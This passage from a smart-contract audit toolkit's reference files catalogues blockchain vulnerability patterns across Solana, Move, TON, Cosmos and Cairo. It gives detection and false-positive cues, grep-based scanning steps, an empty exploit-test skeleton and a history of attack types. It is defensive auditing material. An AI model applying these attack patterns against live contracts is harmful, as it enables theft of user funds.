FP: `sysvar::instructions` checked. **V224. Permanent Delegate Token Extension** — D: Permanent delegate allows unauthorized transfers. FP: Extension list checked on deposit. **V225. Solana Clock Manipulation** — D: Validator clock skew affects time-sensitive logic. FP: Day-scale time. Slot number for ordering. --- ### Move Vectors (V226–V235) _Full details in `chain-deep-move.md`_ **V226. Shared Object Front-Running (Sui)** — D: Shared object access front-runnable by validator. FP: Owned objects for time-sensitive ops. **V227. Hot Potato Object Misuse** — D: No valid consumption path. FP: Tested consumption paths. **V228. Dynamic Field Type Confusion** — D: Borrow as wrong type. FP: Type marker in keys. **V229. Object Ownership Bypass via Transfer** — D: `public_transfer` bypasses restrictions. FP: Custom `TransferPolicy`. **V230. Package Upgrade Capability Leak** — D: `UpgradeCap` in shared/untrusted object. FP: Admin-owned, multi-sig controlled. **V231. Missing Ability Constraints** — D: Generic `T` with `copy` allows asset duplication. FP: Minimal abilities enforced. **V232. Aptos Resource Account Signer Cap Exposure** — D: `SignerCapability` publicly accessible. FP: Module-private struct. **V233. Move Math Precision** — D: Integer division truncation in fixed-point. FP: Established library, explicit rounding. **V234. Coin Registration Race (Aptos)** — D: Send to unregistered address fails. FP: `is_account_registered` checked. **V235. Event Replay / Missing Authentication** — D: Events replayable off-chain. FP: Nonce/txHash in event data. --- ### TON Vectors (V236–V242) _Full details in `chain-deep-ton.md`_ **V236. Unbounced Message Fund Loss** — D: Message to non-existing contract without bounce. FP: `bounce: true` + bounce handler. **V237. Storage Fee Depletion Attack** — D: Inflated storage drains balance → contract frozen. FP: Bounded growth. Admin top-up. **V238. Message Ordering Assumption Violation** — D: Out-of-order delivery breaks multi-step. FP: Sequence numbers. Order-independent state machine. **V239. Cell Depth/Size Overflow** — D: Exceeds 1023 bits/4 refs per cell. FP: Bounds checked. Pagination. **V240. External Message Replay** — D: No seqno replay protection. FP: Monotonic seqno incremented on success. **V241. Gas Forwarding Exhaustion** — D: Insufficient TON_VALUE in message. FP: Minimum forward gas enforced. **V242. Tact Map Iteration Limitation** — D: Map enumeration impossible at runtime. FP: Explicit key tracking array. --- ### Cosmos Vectors (V243–V248) _Full details in `chain-deep-cosmos.md`_ **V243. Unvalidated IBC Channel/Denomination** — D: Accepts tokens from rogue chain. FP: Channel allowlist. Denom path validated. **V244. SubMsg Reply Handler State Desync** — D: Reply assumes pre-execute state. FP: Fresh state read in reply. **V245. CosmWasm Reentrancy via SubMsg** — D: SubMsg to untrusted contract reenters. FP: State before SubMsg. Trusted targets only. **V246. Cosmos SDK Keeper Privilege Escalation** — D: Keeper methods callable by unauthorized modules. FP: Caller module validated. **V247. Governance Proposal Parameter Injection** — D: Dangerous params without validation. FP: `Params.Validate()` with bounds. **V248. Delegation Reward Siphoning** — D: Stake just before distribution, claim, unstake. FP: Epoch-start snapshot. --- ### Cairo/Starknet Vectors (V249–V255) _Full details in `chain-deep-cairo.md`_ **V249. felt252 Arithmetic Overflow at Prime** — D: Wrap at Stark prime ~2^251. FP: Bounded types (`u128`, `u256`). **V250. Starknet Reentrancy via call_contract** — D: External call before state update. FP: CEI pattern. Custom reentrancy flag. **V251. Sequencer Censorship/Ordering Manipulation** — D: Single sequencer controls ordering. FP: L1 escape hatch. Timelock windows. **V252. L1↔L2 Message Hash Collision** — D: Felt packing without length prefixing. FP: Poseidon hash. Nonce enforced. **V253. Storage Address Computation Mismatch** — D: EVM-style slot assumptions wrong in Cairo. FP: Compiler storage macros. **V254. Cairo Steps Gas Limit Exhaustion** — D: Exceeds step limit. FP: Bounded complexity. Worst-case gas tested. **V255. Missing Contract Class Hash Validation** — D: Factory deploys without validating class hash. FP: Hardcoded hash with governance update. --- ## Agent 7 Vectors (V256–V280): Extended — Permit2, Hooks, AA, Composability _These vectors cover emerging attack surfaces from Permit2, Uniswap V4 hooks, ERC-4337 Account Abstraction, transient storage, and advanced DeFi composability patterns. Sourced from 2024-2026 contest findings._ --- **V256. ERC4626 maxDeposit Returns Wrong Value When Paused** — D: `maxDeposit()` returns `type(uint256).max` when vault is paused. Caller deposits and funds lock. FP: `maxDeposit` returns 0 when paused. `deposit` also checks paused. **V257. ERC4626 maxWithdraw Ignores Queued Withdrawals** — D: `maxWithdraw()` returns total balance ignoring pending withdrawal queue. Over-commitment. FP: `maxWithdraw` accounts for queued amounts. **V258. Permit2 Allowance Inheritance** — D: User approves Permit2 for Protocol A. Protocol B (also using Permit2) can spend user tokens via inherited allowance without user consent. FP: Protocol uses `permit2.lockdown()` on unused protocols. Per-protocol allowance isolation. **V259. Permit2 Batch Transfer Manipulation** — D: `permit2.permitTransferFrom` batch operation where attacker manipulates order of transfers to extract value. FP: Batch amounts validated against expected totals. **V260. EIP-2612 Permit Front-Running** — D: Permit signature visible in mempool. Attacker front-runs `permit()` call — victim's subsequent `permit()` reverts (nonce consumed). `transferFrom` still works but gas wasted. FP: `try/catch` around `permit()` call. Protocol gracefully handles permit failure. **V261. EIP-2612 Permit Deadline Set to Max** — D: `permit(owner, spender, value, type(uint256).max, v, r, s)` — permanent authorization. Leaked signature = permanent drain. FP: Deadline enforced to reasonable period. Signature scoped per-transaction. **V262. Uniswap V4 Hook beforeSwap State Manipulation** — D: Hook's `beforeSwap` modifies pool state (liquidity, tick). `afterSwap` reads from pool assuming normal swap occurred. Stale or manipulated values. FP: `afterSwap` re-reads pool state. Hook is stateless. **V263. Uniswap V4 Hook Missing PoolManager Authorization** — D: Hook callbacks callable by anyone, not just PoolManager. Attacker calls `afterSwap` directly with fake data. FP: `onlyPoolManager` modifier on all hooks. `BaseHook` used from V4 periphery. **V264. Uniswap V4 Hook Dynamic Fee Manipulation** — D: Hook sets dynamic fee in `beforeSwap` based on manipulable on-chain data. Flash loan → manipulate data → swap at zero fee → restore. FP: Fee computed from TWAP or off-chain source. Minimum fee floor enforced. **V265. Transient Storage Cross-Function Leak (EIP-1153)** — D: Function A writes `tstore(slot, value)`. Function B reads `tload(slot)` expecting zero. Within same transaction, A's transient data leaks to B. FP: Each function uses unique transient slot. Guard clears slot after use. **V266. Transient Storage Not Cleared After Delegatecall** — D: `delegatecall` to external contract writes transient storage in caller's context. Caller reads stale transient data. FP: Transient storage cleared after delegatecall returns. No transient reads after external interaction. **V267. Diamond Proxy Facet Removal Orphans Storage** — D: Facet removed via `diamondCut(FacetCutAction.Remove)`. Facet's storage data persists but becomes inaccessible. If facet re-added with different storage layout → corruption. FP: Storage migration on facet replacement. Namespaced storage (EIP-7201). **V268. Diamond Proxy diamondCut Missing Access Control** — D: `diamondCut()` callable by non-owner — anyone can add/replace/remove facets. FP: `onlyOwner` or multisig + timelock on `diamondCut`. **V269. AA Paymaster postOp Token Drain** — D: Paymaster's `postOp` transfers tokens but doesn't verify user still has balance. Between `validatePaymasterUserOp` and `postOp`, user operation drains tokens. FP: Tokens escrowed during validation. `postOp` operates on escrowed amount. **V270. AA UserOp Nonce Channel Manipulation** — D: ERC-4337 uses nonce channels (upper 192 bits = key, lower 64 bits = sequence). Attacker uses different key to bypass sequence check. FP: Protocol validates specific nonce key. Sequential nonce enforcement per channel. **V271. AA Bundler Gas Manipulation** — D: Bundler provides less `callGasLimit` than UserOp specifies. Operation fails but nonce consumed. FP: On-chain gas validation against UserOp limits. Bundler reputation system. **V272. L2 Sequencer Timestamp Manipulation** — D: L2 sequencer controls `block.timestamp` within bounds. Manipulates timestamp to trigger time-sensitive operations favorably. FP: Time-sensitive operations use epoch-scale (hours/days). Protocol tolerant of ±15 minute drift. **V273. L2 Force-Inclusion Delay Exploitation** — D: On L2, forced txs from L1 have delayed inclusion. Protocol assumes tx executes immediately but it enters delay queue. FP: Protocol accounts for inclusion delay. State checks are relative, not absolute time. **V274. Multi-Token Pool Decimal Mismatch in Liquidation** — D: Multi-collateral liquidation computes penalty using `1e18` for all tokens. USDC (6 decimals) penalty off by 10^12. FP: Per-token `decimals()` normalization in liquidation math. **V275. Multi-Token Pool Share Computation Rounding** — D: Multi-asset pool computes shares using sum of normalized values. Rounding on each asset compounds — total rounds wrong direction. FP: Final rounding step after aggregation. Protocol-favorable direction enforced. **V276. Interest Rate Model Jump Exploitation** — D: Interest rate model has kink at utilization threshold. Attacker deposits/borrows to push utilization just past kink — massive rate jump affects all borrowers. FP: Smooth rate curve. Rate change bounded per block. Admin adjustable kink. **V277. Interest Rate Retroactive Application** — D: Rate updated AFTER accrual calculation. New rate retroactively applied to past period. FP: `accrueInterest()` called BEFORE rate update. **V278. Permit Front-Running Griefing** — D: Attacker sees victim's `permit + transferFrom` in mempool. Attacker front-runs just the `permit()`. Victim's `permit()` reverts (nonce already consumed), entire tx fails. FP: `try/catch` around `permit()`. Fallback to `approve()`. Check existing allowance first. **V279. ERC1155 Batch Mint Authorization Gap** — D: `_mintBatch` authorized for some token IDs but not all in the batch. Batch succeeds without per-ID validation. FP: Per-ID authorization in batch loop. Batch operation validates each element. **V280. Composability Assumption Violation After External Upgrade** — D: Protocol A hardcodes behavior assumptions about Protocol B (return values, token behavior, fee structure). B upgrades → A's assumptions break silently. FP: Interface compliance checked at runtime. Adapter pattern with version checks. --- ## Triage Output Template After triage, output exactly: ``` Skip: V2, V19, V61, ... Borderline: V44, V78, ... (with 1-sentence relevance check each) Survive: V9, V52, V73, ... Total: 280 classified ``` ## Deep Pass Output Template For each surviving vector: ``` V52: path: deposit() → _transfer() → transferFrom | guard: none | verdict: CONFIRM [85] V73: path: deposit() → transferFrom | guard: balance-before-after present | verdict: DROP (FP gate 3: guarded) ``` ## references/chain-deep-cairo.md # Chain Deep-Dive: Starknet / Cairo _Loaded when Phase 1.1 detects `.cairo` files with `#[starknet::contract]`, `#[external(v0)]`. Sourced from WEB3-AUDIT-SKILLS cairo-scanner, starknet-scanner, and Trail of Bits cairo-vulnerability-scanner._ --- ## Cairo/Starknet-Specific Attack Vectors (V249–V255) **V249. felt252 Arithmetic Overflow at Prime** — D: `felt252` values wrap at the Stark prime (~2^251). Arithmetic produces valid but unexpected results near the prime boundary. Comparison operators misbehave for values close to the prime (negative numbers in felt are actually huge positives). FP: Bounded integer types (`u128`, `u256`) used for all arithmetic. `felt252` used only for identifiers/hashes. Explicit range checks before arithmetic. **V250. Starknet Reentrancy via call_contract** — D: Cairo's `call_contract_syscall` to untrusted external contract before state updates. Unlike EVM, there's no global reentrancy lock mechanism. FP: State updated before external call (CEI pattern). External calls only to trusted/whitelisted contracts. Custom reentrancy flag in storage. **V251. Sequencer Censorship / Ordering Manipulation** — D: Single Starknet sequencer controls transaction ordering and inclusion. Time-sensitive operations (liquidations, auctions, governance votes) can be censored or reordered. FP: Protocol doesn't rely on execution ordering. Timelock windows account for potential censorship. L1 escape hatch for critical operations. **V252. L1↔L2 Message Hash Collision** — D: Cross-layer message handler validates message hash but hash construction allows collision. Different messages produce same hash due to felt packing without length prefixing. FP: Message hash includes all fields with proper length encoding. `poseidon_hash` used for collision resistance. Nonce enforced for uniqueness. **V253. Storage Address Computation Mismatch** — D: Cairo storage addresses computed via `sn_keccak(variable_name)` + struct field offsets. If contract assumes EVM-style sequential slots, storage reads/writes target wrong addresses. Mapping storage uses `h(key, variable_address)`. FP: Storage macros from Starknet compiler used. No manual storage address computation. Component-based storage with `#[storage]` attribute. **V254. Cairo Steps Gas Limit Exhaustion** — D: Transaction exceeds Starknet's step limit (different from EVM gas). Complex computations silently truncated or fail. Cairo VM charges by computational step, not by opcode — loops with many iterations more expensive than EVM equivalent. FP: Function complexity bounded. Loop iterations capped. Gas estimation tested for worst case. **V255. Missing Contract Class Hash Validation** — D: Contract factory deploys instances without validating class hash. Attacker substitutes malicious class hash. Or protocol interacts with contract without verifying its class hash matches expected implementation. FP: `class_hash` validated against registered hash before interaction. Factory uses hardcoded class hash with governance-controlled updates. --- ## Cairo Scanning Methodology ### Entry Point Discovery ```bash # Find all external functions grep -rn "#\[external\|#\[abi\|fn " --include="*.cairo" | grep -v test # Find storage access grep -rn "self\.\|storage_read\|storage_write\|StorageAccess" --include="*.cairo" # Find external calls grep -rn "call_contract_syscall\|ICoreDispatcher\|IDispatcher" --include="*.cairo" # Find felt arithmetic grep -rn "felt252\|felt_" --include="*.cairo" | grep -v test ``` ### Critical Checks - All arithmetic uses bounded integer types, not raw `felt252` - External calls follow CEI pattern (state before call) - L1↔L2 messages include proper hash construction with nonce - Storage access uses Starknet compiler macros (no manual address computation) - Contract class hashes validated before interaction - Gas costs estimated for worst-case step count - Sequencer dependency minimized for critical operations ## references/chain-deep-cosmos.md # Chain Deep-Dive: Cosmos (CosmWasm / SDK Modules) _Loaded when Phase 1.1 detects `.rs` files with `#[entry_point]`, `cosmwasm_std`, or `.go` files with Cosmos SDK patterns. Sourced from Trail of Bits cosmos-vulnerability-scanner and WEB3-AUDIT-SKILLS cosmos-scanner._ --- ## Cosmos-Specific Attack Vectors (V243–V248) **V243. Unvalidated IBC Channel/Denomination** — D: Contract accepts tokens via IBC without validating channel/port/denomination path. Attacker sends worthless tokens from rogue chain via unauthorized channel. Contract treats them as legitimate assets. FP: `ibc_channel_open` validates counterparty chain/port. Denomination includes full IBC path validation. Allowlisted channels only. **V244. SubMsg Reply Handler State Desync** — D: `SubMsg` with `ReplyOn::Success` modifies state in the main execute, but reply handler assumes pre-execute state. Or `ReplyOn::Error` handler doesn't rollback main execute state changes. FP: Reply handler reads fresh state. Atomic execute+reply via `SubMsg::reply_always`. State changes in reply only. **V245. CosmWasm Reentrancy via SubMsg** — D: Contract sends `SubMsg` to untrusted contract via `WasmMsg::Execute`. Callback in `reply` handler re-enters original contract before state finalized. FP: State committed before `SubMsg`. Reply handler uses only response data, not contract state. `SubMsg` only to trusted contracts. **V246. Cosmos SDK Module Keeper Privilege Escalation** — D: Module's `Keeper` exposed with too-broad interface. Other modules call privileged keeper methods (e.g., `MintCoins`, `BurnCoins`) without proper authorization checks at the keeper level. FP: Keeper methods validate caller module. Authorization delegated to governance. Keeper interface minimal and audited. **V247. Governance Proposal Parameter Injection** — D: `ParameterChangeProposal` modifies module parameters without validation. Attacker submits governance proposal setting dangerous parameters (zero slashing, infinite inflation, zero minimum deposit). FP: Parameter bounds enforced in `Params.Validate()`. Critical params have additional governance threshold. Emergency governance halt. **V248. Staking/Delegation Reward Siphoning** — D: Delegation rewards calculated based on validator commission and stake proportion. If reward distribution doesn't account for delegation changes within an epoch, attacker adds stake just before distribution, claims disproportionate rewards, then undelegates. FP: Reward distribution uses epoch-start stake snapshot. `BeginBlocker` updates are atomic with reward claims. Minimum stake duration. --- ## Cosmos Scanning Methodology ### Entry Point Discovery ```bash # CosmWasm entry points grep -rn "#\[entry_point\]\|pub fn instantiate\|pub fn execute\|pub fn query\|pub fn migrate" --include="*.rs" # IBC handlers grep -rn "ibc_channel_open\|ibc_channel_connect\|ibc_packet_receive\|ibc_packet_ack" --include="*.rs" # SubMsg usage grep -rn "SubMsg\|ReplyOn\|Reply" --include="*.rs" | grep -v test # SDK module entry points (Go) grep -rn "func.*Keeper.*Msg\|BeginBlocker\|EndBlocker" --include="*.go" ``` ### Critical Checks - All IBC channels validated against allowlist - SubMsg reply handlers handle both success and error paths - CosmWasm execute handlers validate `info.sender` for privileged operations - Token denomination paths fully validated (not just denom string) - Module keepers expose minimal interface - Governance parameter changes have bounds validation - Staking reward distribution uses epoch-consistent snapshots ## references/chain-deep-move.md # Chain Deep-Dive: Move (Sui / Aptos) _Loaded when Phase 1.1 detects `.move` files with `module`, `public entry fun`, `use sui::` or `use aptos_framework::`. Sourced from move-auditor-skills, Trail of Bits Move scanner, and WEB3-AUDIT-SKILLS move-scanner._ --- ## Move-Specific Attack Vectors (V226–V235) **V226. Shared Object Front-Running (Sui)** — D: Shared object access requires consensus ordering. Transaction that reads/writes shared object can be front-run by validator or observed in mempool. Time-sensitive operations (auctions, liquidations) exploitable. FP: Owned objects used for time-sensitive actions. Commit-reveal scheme. Clock-based minimum windows. **V227. Hot Potato Object Misuse** — D: Object without `drop` ability must be consumed by another function. If consumption function has a vulnerability, hot potato forces dangerous execution path. Or hot potato created but no valid consumption path exists — permanent lock. FP: All hot potato types have tested consumption paths. Destruction function has proper validation. **V228. Dynamic Field Type Confusion** — D: `dynamic_field::borrow()` doesn't check type at compile time. Attacker stores Type A under key, reader borrows as Type B. Malformed data interpretation. FP: Dynamic field keys include type marker. Schema enforced at write time. BCS deserialization validates structure. **V229. Object Ownership Bypass via Transfer** — D: Sui `transfer::transfer` moves object to attacker. Function that should restrict ownership uses `transfer::public_transfer` instead of custom transfer policy. FP: Custom `TransferPolicy` enforced. Object uses shared/frozen ownership model. **V230. Package Upgrade Capability Leak** — D: `UpgradeCap` stored in shared object or transferred to untrusted address. Anyone with cap can upgrade package, replacing module logic. FP: `UpgradeCap` stored in admin-owned object. Multi-sig controls upgrade. Cap destroyed to make immutable. **V231. Missing Ability Constraints** — D: Generic type `T` used without proper ability constraints. Type with `copy` ability bypasses move semantics — asset doubled. Type with `drop` allows silent destruction — asset burned without accounting. FP: Generic parameters have minimal abilities: `T: key + store` (no copy, no drop). **V232. Aptos Resource Account Signer Cap Exposure** — D: `create_resource_account` returns `SignerCapability`. If stored in a publicly accessible resource, anyone can obtain signer and drain account. FP: `SignerCapability` stored in module-private struct with access control. **V233. Move Math Precision via Fixed-Point Libraries** — D: Custom fixed-point math uses integer division losing precision. `a * b / c` truncates differently than `a / c * b`. No rounding direction specification. FP: Established fixed-point library used. Rounding direction explicitly chosen per operation (floor for user cost, ceil for protocol benefit). **V234. Coin Registration Race (Aptos)** — D: `coin::register(&user)` must be called before receiving coins. If protocol sends coins to unregistered address, transaction fails bricking the operation. FP: Protocol checks `coin::is_account_registered` before transfer. Auto-registration on first transfer. **V235. Event Replay / Missing Event Authentication** — D: Protocol reads events off-chain to trigger actions (oracle updates, governance). Events can be replayed or spoofed if not bound to transaction hash. FP: Event data includes unique nonce/txHash. Off-chain consumer tracks processed events. --- ## Move Scanning Methodology ### Entry Point Discovery ```bash # Find all public functions grep -rn "public fun\|public entry fun\|public(friend) fun" --include="*.move" | grep -v test # Find resource access patterns grep -rn "borrow_global\|borrow_global_mut\|move_from\|move_to" --include="*.move" # Find Sui object operations grep -rn "transfer::\|dynamic_field::\|object::new\|share_object" --include="*.move" # Find ability declarations that are too permissive grep -rn "has copy\|has drop\|has key, store, copy, drop" --include="*.move" ``` ### Critical Checks - Every `public entry fun` must validate signer/capability for privileged operations - All coin arithmetic checked for precision loss (division truncation) - Shared object access patterns assessed for front-running risk - `UpgradeCap` custody verified — must be in admin-controlled object - Hot potato objects have valid, tested consumption paths - Generic type parameters have minimal necessary abilities ## references/chain-deep-solana.md # Chain Deep-Dive: Solana / Rust / Anchor _Loaded when Phase 1.1 detects `.rs` files with `use anchor_lang`, `#[program]`, or `entrypoint!`. Sourced from exvul_solana_auditor (67 items/15 categories), solana-auditor-skills, and Trail of Bits Solana vulnerability scanner._ --- ## Solana-Specific Attack Vectors (V211–V225) **V211. Missing Account Owner Check** — D: Account deserialized without `owner == expected_program_id`. Attacker passes fake account owned by system program or malicious program with crafted data. FP: Anchor `Account<'info, T>` with `#[account]` attribute (auto-checks owner). Manual `if account.owner != &program_id { return Err(...) }`. **V212. PDA Bump Seed Canonicalization** — D: `find_program_address` uses any bump (not canonical). Multiple valid PDAs for same seeds. Attacker creates lower-bump PDA with different data. FP: Anchor `seeds` + `bump` constraint stores canonical. Manual code uses `create_program_address` with stored canonical bump only. **V213. Missing Signer Check on Privileged Instruction** — D: Authority account not marked as signer. Anyone can invoke admin functions. FP: Anchor `Signer<'info>` or `#[account(signer)]`. Manual `if !account.is_signer { return Err(...) }`. **V214. Account Resurrection After Close** — D: Account closed (data zeroed, lamports drained) but program doesn't check `data_len() == 0` on subsequent use. Attacker re-funds account with crafted data. FP: Anchor `close = recipient` (sets discriminator to CLOSED). Manual close zeros discriminator + checks on read. **V215. CPI Privilege Escalation via Signer Seeds** — D: Program passes signer seeds to CPI that an attacker can reconstruct. Attacker calls CPI-target program directly with same seeds. FP: PDA seeds include program-specific salt. CPI target validates `invoke_signed` origin. **V216. Account Data Realloc Overflow** — D: `realloc` used to grow account beyond 10,240 bytes per instruction. Silently fails or panics. Or shrinks account without zeroing freed bytes — data leak. FP: Size validated before realloc. Freed bytes zeroed. Multi-instruction realloc with proper accounting. **V217. Token-2022 Transfer Hook Reentrancy** — D: Token transfer triggers arbitrary transfer hook program. Hook can reenter calling program with manipulated state. FP: State updates before transfer. Hook program whitelisted. `invoke_signed` uses dedicated PDA per operation. **V218. Duplicate Account Injection** — D: Same account passed in multiple positions (e.g., `source` and `destination`). Self-transfer creates double-credit. FP: `require!(source.key() != destination.key())`. Anchor `#[account(constraint = ...)]`. **V219. Missing Rent Exemption Check** — D: Created account not rent-exempt. Gets garbage collected after ~2 years (or sooner with low balance). Protocol state vanishes. FP: `require!(account.lamports() >= rent.minimum_balance(data_len))`. Anchor `init` enforces rent exemption. **V220. Arithmetic Overflow in Release Mode** — D: Rust wraps integers in `--release` (overflow doesn't panic). `checked_*` or `saturating_*` not used. FP: All arithmetic uses `checked_add/sub/mul/div` with proper error handling. **V221. Account Data Type Confusion** — D: Account data deserialized as Type A when it was initialized as Type B. No discriminator check or wrong discriminator. FP: Anchor 8-byte discriminator auto-checked. Manual code validates discriminator bytes. **V222. Stale Account Data After CPI** — D: Program reads account data, performs CPI (which modifies the account), then uses stale pre-CPI data. FP: Account re-read after CPI via `reload()`. Data dependency tracked. **V223. Missing Instruction Introspection Validation** — D: Program should only execute as part of a specific instruction sequence (e.g., after a price oracle update) but doesn't validate via `sysvar::instructions`. FP: `load_instruction_at_checked()` verifies preceding instruction program ID and data. **V224. Permanent Delegate Token Extension Abuse** — D: Token-2022 `permanent_delegate` extension allows holder's tokens to be transferred without approval. Protocol accepts such tokens without checking extensions. FP: Extension list checked on deposit. Permanent delegate tokens rejected. **V225. Solana Clock Manipulation Risk** — D: `Clock::get()?.unix_timestamp` used for time-sensitive logic. Validators can slightly skew clock within bounds. FP: Time used for day-scale operations only. Slot number used for ordering guarantees. --- ## Solana Scanning Methodology ### Entry Point Discovery ```bash # Find all instruction handlers grep -rn "pub fn\|#\[instruction\]" --include="*.rs" | grep -v test # Find CPI calls grep -rn "invoke\|invoke_signed\|CpiContext" --include="*.rs" | grep -v test # Find account validation grep -rn "has_one\|constraint\|seeds\|bump\|signer" --include="*.rs" | grep -v test ``` ### Critical Patterns to Grep ```bash # Missing owner checks grep -rn "AccountInfo" --include="*.rs" | grep -v "Account<\|Signer<\|Program<" # Unsafe arithmetic grep -rn "[\+\-\*\/]" --include="*.rs" | grep -v "checked_\|saturating_\|test" # Account closing grep -rn "close\|lamports" --include="*.rs" | grep -v test # Token operations without extension checks grep -rn "transfer\|mint_to\|burn" --include="*.rs" | grep -v test ``` ### Solana PoC Template (Anchor) ```rust use anchor_lang::prelude::*; use anchor_lang::InstructionData; #[cfg(test)] mod exploit_test { use super::*; use solana_program_test::*; use solana_sdk::{signature::Keypair, signer::Signer, transaction::Transaction}; #[tokio::test] async fn test_exploit() { let program_id = Pubkey::new_unique(); let mut program_test = ProgramTest::new("target_program", program_id, None); let (mut banks_client, payer, recent_blockhash) = program_test.start().await; // 1. Setup attacker accounts // 2. Craft malicious instruction // 3. Submit transaction // 4. Assert exploit success } } ``` ## references/chain-deep-ton.md # Chain Deep-Dive: TON (FunC / Tact) _Loaded when Phase 1.1 detects `.fc`, `.func`, or `.tact` files with `() recv_internal`, `receive()`, or `self.reply`. Sourced from ton-auditor-skills and WEB3-AUDIT-SKILLS ton-scanner._ --- ## TON-Specific Attack Vectors (V236–V242) **V236. Unbounced Message Fund Loss** — D: Contract sends message to non-existing or invalid contract without bounce flag. Funds sent with the message are permanently lost. Or bounce handler doesn't restore state — half-completed operation. FP: All inter-contract messages use `bounce: true`. Bounce handler properly reverses state changes and refunds. **V237. Storage Fee Depletion Attack** — D: Attacker inflates contract storage (large cells/data) without paying proportional fees. Contract's balance erodes from storage fees. Eventually balance drops below minimum → contract frozen/destroyed → state lost. FP: Storage growth bounded per operation. Caller pays storage fee delta. Minimum balance maintained via admin top-up. **V238. Message Ordering Assumption Violation** — D: Contract assumes messages arrive in send order. TON's asynchronous sharded architecture delivers messages out-of-order. Multi-step operations break when step 2 arrives before step 1. FP: Each message carries sequence number. Contract verifies order or handles reordering. State machine validates transitions regardless of arrival order. **V239. Cell Depth/Size Overflow** — D: Data structure exceeds cell limits (1023 bits data, 4 references per cell, max 2^16 cells per message). Runtime error freezes contract or corrupts state. FP: Data structures designed within cell limits. Builder overflow checked before finalization. Pagination for large data. **V240. External Message Replay Attack** — D: External message handler lacks replay protection. Attacker resubmits previously valid external message to re-execute the operation. FP: Monotonic `seqno` stored in contract state. Each external message includes `seqno` and increments on success. **V241. Gas Forwarding Exhaustion** — D: Contract sends message with insufficient gas (TON_VALUE) attached. Receiving contract can't complete operation, but sending contract already committed state changes. Partial execution with inconsistent cross-contract state. FP: Gas estimation for `recv_internal` of target. Minimum forward gas enforced. Bounce handler reverts sender state on failure. **V242. Tact Map Iteration Limitation** — D: Tact's `Map` type doesn't support iteration. Contract stores data in Map assuming it can enumerate entries later — impossible at runtime. Alternative: contract uses repeated `get` with guessed keys = gas bomb. FP: Data structure redesigned with explicit key tracking (separate array of keys). Access patterns don't require enumeration. --- ## TON Scanning Methodology ### Entry Point Discovery ```bash # FunC entry points grep -rn "recv_internal\|recv_external" --include="*.fc" --include="*.func" # Tact entry points grep -rn "receive(\|bounced(\|external(" --include="*.tact" # Message handling grep -rn "send_raw_message\|send\|self.reply\|self.forward\|self.notify" --include="*.tact" --include="*.fc" # Storage operations grep -rn "store_\|load_\|begin_cell\|end_cell\|begin_parse" --include="*.fc" ``` ### TON-Specific Checks - Every `recv_internal` validates sender address for privileged operations - External message handlers have `seqno`-based replay protection - All outgoing messages have adequate gas attached - Bounce handlers properly reverse state changes - Data structures designed within cell limits (1023 bits, 4 refs) - Storage growth bounded to prevent depletion attacks - Contract maintains minimum balance for storage fees - Tact contracts don't rely on Map iteration ## references/evolution-timelines.md # Evolution Timelines This document tracks the historical evolution of major smart contract vulnerability classes. Understanding *how* attacks evolved helps predict the *next* iteration of the exploit. --- ## 1. The Evolution of Reentrancy (2016 - Present) * **Gen 1: Single-Function Reentrancy (2016)** * *The Dawn:* The DAO ($60M). A simple fallback function re-enters `withdraw()` before the balance state is updated. * *The Defense:* Checks-Effects-Interactions (CEI) pattern introduced. * **Gen 2: Cross-Function Reentrancy (2018-2019)** * *The Shift:* `withdraw()` is protected by CEI, but the attacker re-enters `transfer()` while the balance is temporarily inflated. * *The Defense:* Introduction of the OpenZeppelin `ReentrancyGuard` (`nonReentrant` modifier) to create contract-wide mutex locks. * **Gen 3: Token Hook Reentrancy (2020-2021)** * *The Catalyst:* ERC777 introduces `tokensReceived` hooks. * *The Exploit:* Uniswap V1/Lendf.Me. Protocols integrated ERC777 assuming standard ERC20 behavior (no external calls during `transferFrom`). The hook allowed bypassing the lock. * *The Defense:* Blanket bans on ERC777 integration in DeFi; strict token whitelisting. * **Gen 4: Read-Only Reentrancy & Cross-Contract (2022-2023)** * *The Paradigm Shift:* Attackers realize they don't need to mutate state during the reentrancy window—they only need to *read* inconsistent state from a third-party contract. Curve Finance/Vyper exploit. * *The Defense:* Introducing independent view locks; calling `updateState()` before `getVirtualPrice()`. * **Gen 5: Transient Storage & Multi-Chain Callbacks (2024+)** * *The Frontier:* EIP-1153 introduces transient storage (`TSTORE`/`TLOAD`), leading to custom, highly optimized reentrancy locks that reset per transaction. Emerging vectors involve bridging messages where the "callback" happens asynchronously on an L2 hours later, breaking standard mutex assumptions. --- ## 2. The Evolution of Oracle Manipulation * **Gen 1: Spot Price Math (2020)** * *The Wild West:* Protocols read Uniswap V1/V2 reserve ratios directly (`reserveX / reserveY`). bZx and Harvest Finance are drained by flash loans skewing the ratio in a single transaction. * *The Defense:* Move to Time-Weighted Average Prices (TWAPs). * **Gen 2: TWAP Manipulation (2021-2022)** * *The Long Con:* TWAPs are harder to manipulate, but on low-liquidity Alt-L1 pairs, an attacker can push the price, wait out the TWAP window (or bribe miners for multi-block sequences), and then exploit. * *The Defense:* Massive shift to Chainlink push-based decentralized oracle networks (DONs). * **Gen 3: Oracle Halts & Edge Cases (2022-2023)** * *The Black Swan:* Chainlink is robust against manipulation, but protocols assume it *always* returns a valid price. During extreme volatility (LUNA crash), Chainlink hits hard-coded minimum circuit breakers, returning stale $0.10 prices for a $0.0001 asset. Venus Protocol is drained. * *The Defense:* Enforcing strict `updatedAt` and bounds-checking (`minAnswer`/`maxAnswer`) on all `latestRoundData` calls. * **Gen 4: L2 Sequencer Awareness (2023+)** * *The Rollup Era:* On L2s, if the sequencer goes offline, the oracle price instantly becomes stale. When the sequencer comes back online, a backlog of transactions executes against the stale price before the oracle can update. * *The Defense:* Integration of the Chainlink L2 Sequencer Uptime Feed to block liquidations/borrowing if the sequencer was recently restarted. --- ## 3. The Evolution of Bridge Attacks * **Gen 1: Cryptographic Logic Flaws (2021)** * *The Flaws:* Poly Network ($611M). Attackers find hash collisions or parameter un-packing bugs to forge valid cross-chain messages. * *The Defense:* Hardening verification logic, moving to standardized messaging buses (LayerZero, Axelar). * **Gen 2: Centralized Validator Compromise (2022)** * *The Pivot:* Smart contracts are secure, so attackers target operational security. Ronin ($625M) and Harmony ($100M). Social engineering and private key theft of multisig validators. * *The Defense:* Increasing validator counts, eliminating single-entity control, enforcing hardware security modules (HSMs). * **Gen 3: Implementation Mismatches (2023+)** * *The Subtlety:* Decimal mismatches (18e on ETH vs 6e on USDC), phantom deposits (emitting a deposit event without actually locking funds), and uninitialized proxies (Nomad). * *The Defense:* Invariant monitoring bridging volume caps, and strict canonical token registries. ## references/exploit-forensics.md # Exploit Forensics & Case Studies This reference document contains detailed 